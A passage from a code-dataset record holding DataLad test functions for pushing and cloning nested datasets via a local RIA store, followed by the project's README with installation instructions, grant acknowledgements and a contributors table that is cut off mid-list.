high-level test a std create-push-clone cycle for a\\n # dataset with a subdataset, with the goal to ensure that correct branches\\n # and commits are tracked, regardless of platform behavior and condition\\n # of individual clones. Nothing fancy, just that the defaults behave in\\n # sensible ways\\n from datalad.cmd import WitlessRunner as Runner\\n run = Runner().run\\n\\n # create original nested dataset\\n with chpwd(origpath):\\n run(['datalad', 'create', 'super'])\\n run(['datalad', 'create', '-d', 'super', str(Path('super', 'sub'))])\\n\\n # verify essential linkage properties\\n orig_super = Dataset(Path(origpath, 'super'))\\n orig_sub = Dataset(orig_super.pathobj / 'sub')\\n\\n (orig_super.pathobj / 'file1.txt').write_text('some1')\\n (orig_sub.pathobj / 'file2.txt').write_text('some1')\\n with chpwd(orig_super.path):\\n run(['datalad', 'save', '--recursive'])\\n\\n # TODO not yet reported clean with adjusted branches\\n #assert_repo_status(orig_super.path)\\n\\n # the \\\"true\\\" branch that sub is on, and the gitsha of the HEAD commit of it\\n orig_sub_corr_branch = \\\\\\n orig_sub.repo.get_corresponding_branch() or orig_sub.repo.get_active_branch()\\n orig_sub_corr_commit = orig_sub.repo.get_hexsha(orig_sub_corr_branch)\\n\\n # make sure the super trackes this commit\\n assert_in_results(\\n orig_super.subdatasets(),\\n path=orig_sub.path,\\n gitshasum=orig_sub_corr_commit,\\n # TODO it should also track the branch name\\n # Attempted: https://github.com/datalad/datalad/pull/3817\\n # But reverted: https://github.com/datalad/datalad/pull/4375\\n )\\n\\n # publish to a store, to get into a platform-agnostic state\\n # (i.e. no impact of an annex-init of any kind)\\n store_url = 'ria+' + get_local_file_url(storepath)\\n with chpwd(orig_super.path):\\n run(['datalad', 'create-sibling-ria', '--recursive',\\n '-s', 'store', store_url, '--new-store-ok'])\\n run(['datalad', 'push', '--recursive', '--to', 'store'])\\n\\n # we are using the 'store' sibling's URL, which should be a plain path\\n store_super = AnnexRepo(orig_super.siblings(name='store')[0]['url'], init=False)\\n store_sub = AnnexRepo(orig_sub.siblings(name='store')[0]['url'], init=False)\\n\\n # both datasets in the store only carry the real branches, and nothing\\n # adjusted\\n for r in (store_super, store_sub):\\n eq_(set(r.get_branches()), set([orig_sub_corr_branch, 'git-annex']))\\n\\n # and reobtain from a store\\n cloneurl = 'ria+' + get_local_file_url(str(storepath), compatibility='git')\\n with chpwd(clonepath):\\n run(['datalad', 'clone', cloneurl + '#' + orig_super.id, 'super'])\\n run(['datalad', '-C', 'super', 'get', '--recursive', '.'])\\n\\n # verify that nothing has changed as a result of a push/clone cycle\\n clone_super = Dataset(Path(clonepath, 'super'))\\n clone_sub = Dataset(clone_super.pathobj / 'sub')\\n assert_in_results(\\n clone_super.subdatasets(),\\n path=clone_sub.path,\\n gitshasum=orig_sub_corr_commit,\\n )\\n\\n for ds1, ds2, f in ((orig_super, clone_super, 'file1.txt'),\\n (orig_sub, clone_sub, 'file2.txt')):\\n eq_((ds1.pathobj / f).read_text(), (ds2.pathobj / f).read_text())\\n\\n # get status info that does not recursive into subdatasets, i.e. not\\n # looking for uncommitted changes\\n # we should see no modification reported\\n assert_not_in_results(\\n clone_super.status(eval_subdataset_state='commit'),\\n state='modified')\\n # and now the same for a more expensive full status\\n assert_not_in_results(\\n clone_super.status(recursive=True),\\n state='modified')\\n\\n\\n@with_tempfile\\ndef test_push_custom_summary(path=None):\\n path = Path(path)\\n ds = Dataset(path / \\\"ds\\\").create()\\n\\n sib = mk_push_target(ds, \\\"sib\\\", str(path / \\\"sib\\\"), bare=False, annex=False)\\n (sib.pathobj / \\\"f1\\\").write_text(\\\"f1\\\")\\n sib.save()\\n\\n (ds.pathobj / \\\"f2\\\").write_text(\\\"f2\\\")\\n ds.save()\\n\\n # These options are true by default and our tests usually run with a\\n # temporary home, but set them to be sure.\\n ds.config.set(\\\"advice.pushUpdateRejected\\\", \\\"true\\\", scope=\\\"local\\\")\\n ds.config.set(\\\"advice.pushFetchFirst\\\", \\\"true\\\", scope=\\\"local\\\")\\n with swallow_outputs() as cmo:\\n ds.push(to=\\\"sib\\\", result_renderer=\\\"default\\\", on_failure=\\\"ignore\\\")\\n assert_in(\\\"Hints:\\\", cmo.out)\\n assert_in(\\\"action summary:\\\", cmo.out)\\n\"\n },\n {\n \"alpha_fraction\": 0.6425247192382812,\n \"alphanum_fraction\": 0.6942142248153687,\n \"avg_line_length\": 98.33082580566406,\n \"blob_id\": \"53098b3f32c34ddc5e160c1042735e3c2a2c6a46\",\n \"content_id\": \"da4530be302b785c19001ad5d50c6ae2a31f439f\",\n \"detected_licenses\": [\n \"BSD-3-Clause\",\n \"MIT\"\n ],\n \"is_generated\": false,\n \"is_vendor\": false,\n \"language\": \"Markdown\",\n \"length_bytes\": 26579,\n \"license_type\": \"permissive\",\n \"max_line_length\": 625,\n \"num_lines\": 266,\n \"path\": \"/README.md\",\n \"repo_name\": \"datalad/datalad\",\n \"src_encoding\": \"UTF-8\",\n \"text\": \" ____ _ _ _ \\n | _ \\\\ __ _ | |_ __ _ | | __ _ __| |\\n | | | | / _` | | __| / _` | | | / _` | / _` |\\n | |_| | | (_| | | |_ | (_| | | |___ | (_| | | (_| |\\n |____/ \\\\__,_| \\\\__| \\\\__,_| |_____| \\\\__,_| \\\\__,_|\\n Read me\\n\\n[](https://doi.org/10.21105/joss.03262)\\n[](https://app.travis-ci.com/datalad/datalad)\\n[](https://ci.appveyor.com/project/mih/datalad/branch/master)\\n[](https://github.com/datalad/datalad/actions/workflows/test_extensions.yml)\\n[](https://github.com/datalad/datalad/actions/workflows/lint.yml)\\n[](https://codecov.io/github/datalad/datalad?branch=master)\\n[](http://datalad.rtfd.org)\\n[](https://opensource.org/licenses/MIT)\\n[](https://GitHub.com/datalad/datalad/releases/)\\n[](https://pypi.org/project/datalad/)\\n[](https://github.com/datalad/datalad/wiki/Testimonials)\\n[](https://singularity-hub.org/collections/667)\\n[](https://github.com/datalad/datalad/blob/master/CODE_OF_CONDUCT.md)\\n[](https://doi.org/10.5281/zenodo.808846)\\n[](https://identifiers.org/RRID:SCR_003931)\\n<!-- ALL-CONTRIBUTORS-BADGE:START - Do not remove or modify this section -->\\n[](#contributors-)\\n<!-- ALL-CONTRIBUTORS-BADGE:END -->\\n\\n## Distribution\\n\\n[](https://anaconda.org/conda-forge/datalad)\\n[](https://repology.org/project/datalad/versions)\\n[](https://packages.debian.org/stable/datalad)\\n[](https://packages.debian.org/unstable/datalad)\\n[](https://repology.org/project/datalad/versions)\\n[](https://repology.org/project/datalad/versions)\\n[](https://repology.org/project/datalad/versions)\\n\\n# 10000-ft. overview\\n\\nDataLad makes data management and data distribution more accessible.\\nTo do that, it stands on the shoulders of [Git] and [Git-annex] to deliver a\\ndecentralized system for data exchange. This includes automated ingestion of\\ndata from online portals and exposing it in readily usable form as Git(-annex)\\nrepositories, so-called datasets. The actual data storage and permission\\nmanagement, however, remains with the original data providers.\\n\\nThe full documentation is available at http://docs.datalad.org and\\nhttp://handbook.datalad.org provides a hands-on crash-course on DataLad.\\n\\n# Extensions\\n\\nA number of extensions are available that provide additional functionality for\\nDataLad. Extensions are separate packages that are to be installed in addition\\nto DataLad. In order to install DataLad customized for a particular domain, one\\ncan simply install an extension directly, and DataLad itself will be\\nautomatically installed with it. An [annotated list of\\nextensions](http://handbook.datalad.org/extension_pkgs.html) is available in\\nthe [DataLad handbook](http://handbook.datalad.org).\\n\\n\\n# Support\\n\\nThe documentation for this project is found here:\\nhttp://docs.datalad.org\\n\\nAll bugs, concerns, and enhancement requests for this software can be submitted here:\\nhttps://github.com/datalad/datalad/issues\\n\\nIf you have a problem or would like to ask a question about how to use DataLad,\\nplease [submit a question to\\nNeuroStars.org](https://neurostars.org/new-topic?body=-%20Please%20describe%20the%20problem.%0A-%20What%20steps%20will%20reproduce%20the%20problem%3F%0A-%20What%20version%20of%20DataLad%20are%20you%20using%20%28run%20%60datalad%20--version%60%29%3F%20On%20what%20operating%20system%20%28consider%20running%20%60datalad%20plugin%20wtf%60%29%3F%0A-%20Please%20provide%20any%20additional%20information%20below.%0A-%20Have%20you%20had%20any%20luck%20using%20DataLad%20before%3F%20%28Sometimes%20we%20get%20tired%20of%20reading%20bug%20reports%20all%20day%20and%20a%20lil'%20positive%20end%20note%20does%20wonders%29&tags=datalad)\\nwith a `datalad` tag. NeuroStars.org is a platform similar to StackOverflow\\nbut dedicated to neuroinformatics.\\n\\nAll previous DataLad questions are available here:\\nhttp://neurostars.org/tags/datalad/\\n\\n\\n# Installation\\n\\n## Debian-based systems\\n\\nOn Debian-based systems, we recommend enabling [NeuroDebian], via which we\\nprovide recent releases of DataLad. Once enabled, just do:\\n\\n apt-get install datalad\\n\\n## Gentoo-based systems\\n\\nOn Gentoo-based systems (i.e. all systems whose package manager can parse ebuilds as per the [Package Manager Specification]), we recommend [enabling the ::science overlay], via which we\\nprovide recent releases of DataLad. Once enabled, just run:\\n\\n emerge datalad\\n\\n## Other Linux'es via conda\\n\\n conda install -c conda-forge datalad\\n\\nwill install the most recently released version, and release candidates are\\navailable via\\n\\n conda install -c conda-forge/label/rc datalad\\n\\n## Other Linux'es, macOS via pip\\n\\nBefore you install this package, please make sure that you [install a recent\\nversion of git-annex](https://git-annex.branchable.com/install). Afterwards,\\ninstall the latest version of `datalad` from\\n[PyPI](https://pypi.org/project/datalad). It is recommended to use\\na dedicated [virtualenv](https://virtualenv.pypa.io):\\n\\n # Create and enter a new virtual environment (optional)\\n virtualenv --python=python3 ~/env/datalad\\n . ~/env/datalad/bin/activate\\n\\n # Install from PyPI\\n pip install datalad\\n\\nBy default, installation via pip installs the core functionality of DataLad,\\nallowing for managing datasets etc. Additional installation schemes\\nare available, so you can request enhanced installation via\\n`pip install datalad[SCHEME]`, where `SCHEME` could be:\\n\\n- `tests`\\n to also install dependencies used by DataLad's battery of unit tests\\n- `full`\\n to install all dependencies.\\n\\nMore details on installation and initial configuration can be found in the\\n[DataLad Handbook: Installation].\\n\\n# License\\n\\nMIT/Expat\\n\\n\\n# Contributing\\n\\nSee [CONTRIBUTING.md](CONTRIBUTING.md) if you are interested in internals or\\ncontributing to the project. \\n\\n## Acknowledgements\\n\\nThe DataLad project received support through the following grants:\\n\\n- US-German collaboration in computational neuroscience (CRCNS) project\\n \\\"DataGit: converging catalogues, warehouses, and deployment logistics into a\\n federated 'data distribution'\\\" (Halchenko/Hanke), co-funded by the US National\\n Science Foundation (NSF 1429999) and the German Federal Ministry of\\n Education and Research (BMBF 01GQ1411).\\n\\n- CRCNS US-German Data Sharing \\\"DataLad - a decentralized system for integrated\\n discovery, management, and publication of digital objects of science\\\"\\n (Halchenko/Pestilli/Hanke), co-funded by the US National Science Foundation\\n (NSF 1912266) and the German Federal Ministry of Education and Research\\n (BMBF 01GQ1905).\\n\\n- Helmholtz Research Center Jülich, FDM challenge 2022\\n\\n- German federal state of Saxony-Anhalt and the European Regional Development\\n Fund (ERDF), Project: Center for Behavioral Brain Sciences, Imaging Platform\\n\\n- ReproNim project (NIH 1P41EB019936-01A1).\\n\\n- Deutsche Forschungsgemeinschaft (DFG, German Research Foundation) under grant\\n SFB 1451 ([431549029](https://gepris.dfg.de/gepris/projekt/431549029),\\n INF project)\\n\\n- European Union’s Horizon 2020 research and innovation programme under grant\\n agreements:\\n - [Human Brain Project SGA3 (H2020-EU.3.1.5.3, grant no. 945539)](https://cordis.europa.eu/project/id/945539)\\n - [VirtualBrainCloud (H2020-EU.3.1.5.3, grant no. 826421)](https://cordis.europa.eu/project/id/826421)\\n\\nMac mini instance for development is provided by\\n[MacStadium](https://www.macstadium.com/).\\n\\n\\n### Contributors ✨\\n\\nThanks goes to these wonderful people ([emoji key](https://allcontributors.org/docs/en/emoji-key)):\\n\\n<!-- ALL-CONTRIBUTORS-LIST:START - Do not remove or modify this section -->\\n<!-- prettier-ignore-start -->\\n<!-- markdownlint-disable -->\\n<table>\\n <tbody>\\n <tr>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/glalteva\\\"><img src=\\\"https://avatars2.githubusercontent.com/u/14296143?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"glalteva\\\"/><br /><sub><b>glalteva</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=glalteva\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/adswa\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/29738718?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"adswa\\\"/><br /><sub><b>adswa</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=adswa\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/chrhaeusler\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/8115807?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"chrhaeusler\\\"/><br /><sub><b>chrhaeusler</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=chrhaeusler\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/soichih\\\"><img src=\\\"https://avatars3.githubusercontent.com/u/923896?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"soichih\\\"/><br /><sub><b>soichih</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=soichih\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/mvdoc\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/6150554?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"mvdoc\\\"/><br /><sub><b>mvdoc</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=mvdoc\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/mih\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/136479?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"mih\\\"/><br /><sub><b>mih</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=mih\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/yarikoptic\\\"><img src=\\\"https://avatars3.githubusercontent.com/u/39889?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"yarikoptic\\\"/><br /><sub><b>yarikoptic</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=yarikoptic\\\" title=\\\"Code\\\">💻</a></td>\\n </tr>\\n <tr>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/loj\\\"><img src=\\\"https://avatars2.githubusercontent.com/u/15157717?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"loj\\\"/><br /><sub><b>loj</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=loj\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/feilong\\\"><img src=\\\"https://avatars2.githubusercontent.com/u/2242261?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"feilong\\\"/><br /><sub><b>feilong</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=feilong\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/jhpoelen\\\"><img src=\\\"https://avatars2.githubusercontent.com/u/1084872?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"jhpoelen\\\"/><br /><sub><b>jhpoelen</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=jhpoelen\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/andycon\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/3965889?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"andycon\\\"/><br /><sub><b>andycon</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=andycon\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/nicholsn\\\"><img src=\\\"https://avatars3.githubusercontent.com/u/463344?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"nicholsn\\\"/><br /><sub><b>nicholsn</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=nicholsn\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/adelavega\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/2774448?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"adelavega\\\"/><br /><sub><b>adelavega</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=adelavega\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/kskyten\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/4163878?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"kskyten\\\"/><br /><sub><b>kskyten</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=kskyten\\\" title=\\\"Code\\\">💻</a></td>\\n </tr>\\n <tr>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/TheChymera\\\"><img src=\\\"https://avatars2.githubusercontent.com/u/950524?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"TheChymera\\\"/><br /><sub><b>TheChymera</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=TheChymera\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/effigies\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/83442?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"effigies\\\"/><br /><sub><b>effigies</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=effigies\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/jgors\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/386585?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"jgors\\\"/><br /><sub><b>jgors</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=jgors\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/debanjum\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/6413477?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"debanjum\\\"/><br /><sub><b>debanjum</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=debanjum\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/nellh\\\"><img src=\\\"https://avatars3.githubusercontent.com/u/11369795?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"nellh\\\"/><br /><sub><b>nellh</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=nellh\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/emdupre\\\"><img src=\\\"https://avatars3.githubusercontent.com/u/15017191?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"emdupre\\\"/><br /><sub><b>emdupre</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=emdupre\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/aqw\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/765557?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"aqw\\\"/><br /><sub><b>aqw</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=aqw\\\" title=\\\"Code\\\">💻</a></td>\\n </tr>\\n <tr>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/vsoch\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/814322?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"vsoch\\\"/><br /><sub><b>vsoch</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=vsoch\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/kyleam\\\"><img src=\\\"https://avatars2.githubusercontent.com/u/1297788?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"kyleam\\\"/><br /><sub><b>kyleam</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=kyleam\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/driusan\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/498329?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"driusan\\\"/><br /><sub><b>driusan</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=driusan\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/overlake333\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/28018084?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"overlake333\\\"/><br /><sub><b>overlake333</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=overlake333\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/akeshavan\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/972008?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"akeshavan\\\"/><br /><sub><b>akeshavan</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=akeshavan\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/jwodder\\\"><img src=\\\"https://avatars1.githubusercontent.com/u/98207?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"jwodder\\\"/><br /><sub><b>jwodder</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=jwodder\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/bpoldrack\\\"><img src=\\\"https://avatars2.githubusercontent.com/u/10498301?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"bpoldrack\\\"/><br /><sub><b>bpoldrack</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=bpoldrack\\\" title=\\\"Code\\\">💻</a></td>\\n </tr>\\n <tr>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/yetanothertestuser\\\"><img src=\\\"https://avatars0.githubusercontent.com/u/19335420?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"yetanothertestuser\\\"/><br /><sub><b>yetanothertestuser</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=yetanothertestuser\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/christian-monch\\\"><img src=\\\"https://avatars.githubusercontent.com/u/17925232?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Christian Mönch\\\"/><br /><sub><b>Christian Mönch</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=christian-monch\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/mattcieslak\\\"><img src=\\\"https://avatars.githubusercontent.com/u/170026?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Matt Cieslak\\\"/><br /><sub><b>Matt Cieslak</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=mattcieslak\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/mikapfl\\\"><img src=\\\"https://avatars.githubusercontent.com/u/7226087?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Mika Pflüger\\\"/><br /><sub><b>Mika Pflüger</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=mikapfl\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://me.ypid.de/\\\"><img src=\\\"https://avatars.githubusercontent.com/u/1301158?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Robin Schneider\\\"/><br /><sub><b>Robin Schneider</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=ypid\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://orcid.org/0000-0003-4652-3758\\\"><img src=\\\"https://avatars.githubusercontent.com/u/7570456?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Sin Kim\\\"/><br /><sub><b>Sin Kim</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=kimsin98\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/DisasterMo\\\"><img src=\\\"https://avatars.githubusercontent.com/u/49207524?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Michael Burgardt\\\"/><br /><sub><b>Michael Burgardt</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=DisasterMo\\\" title=\\\"Code\\\">💻</a></td>\\n </tr>\\n <tr>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://remi-gau.github.io/\\\"><img src=\\\"https://avatars.githubusercontent.com/u/6961185?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Remi Gau\\\"/><br /><sub><b>Remi Gau</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=Remi-Gau\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/mslw\\\"><img src=\\\"https://avatars.githubusercontent.com/u/11985212?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Michał Szczepanik\\\"/><br /><sub><b>Michał Szczepanik</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=mslw\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/bpinsard\\\"><img src=\\\"https://avatars.githubusercontent.com/u/1155388?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Basile\\\"/><br /><sub><b>Basile</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=bpinsard\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/taylols\\\"><img src=\\\"https://avatars.githubusercontent.com/u/28018084?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"Taylor Olson\\\"/><br /><sub><b>Taylor Olson</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=taylols\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://jdkent.github.io/\\\"><img src=\\\"https://avatars.githubusercontent.com/u/12564882?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"James Kent\\\"/><br /><sub><b>James Kent</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=jdkent\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/xgui3783\\\"><img src=\\\"https://avatars.githubusercontent.com/u/19381783?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"xgui3783\\\"/><br /><sub><b>xgui3783</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=xgui3783\\\" title=\\\"Code\\\">💻</a></td>\\n <td align=\\\"center\\\" valign=\\\"top\\\" width=\\\"14.28%\\\"><a href=\\\"https://github.com/tstoeter\\\"><img src=\\\"https://avatars.githubusercontent.com/u/4901704?v=4?s=100\\\" width=\\\"100px;\\\" alt=\\\"tstoeter\\\"/><br /><sub><b>tstoeter</b></sub></a><br /><a href=\\\"https://github.com/datalad/datalad/commits?author=tstoeter\\\" title=\\\"Code\\\">💻</a></td>\\n </tr>\\n 